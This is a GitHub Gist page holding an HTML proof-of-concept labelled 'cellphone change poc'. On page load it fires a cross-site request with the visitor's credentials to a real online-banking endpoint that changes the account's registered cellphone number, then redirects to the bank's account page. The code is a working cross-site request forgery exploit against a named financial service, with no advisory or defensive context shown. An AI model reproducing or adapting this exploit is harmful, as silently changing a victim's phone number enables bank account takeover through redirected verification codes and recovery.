Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
<html>
<head>
<script type="text/javascript" src="https://blue.baccredomatic.com/js/jquery-3.3.1.min.js"></script>
</head>
<body onload="change();">
<p>cellphone change poc</p>
<script type="text/javascript">
function change()
{
var paramsValues = {cellPhoneNumber: "12345678" };
$.ajax({
dataType : "json",
contentType : "application/x-www-form-urlencoded;charset=UTF-8",
cache : false,
type : "POST",
url : "https://www1.sucursalelectronica.com/ebac/common/saveOrUpdatePhoneNumber.go",
data : paramsValues,
xhrFields: {
withCredentials: true
},
crossDomain: true,
});
setTimeout(function() {
document.location.href = "https://www1.sucursalelectronica.com/ebac/module/consolidatedQuery/consolidatedQuery.go";
}, 1000);
return true;
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment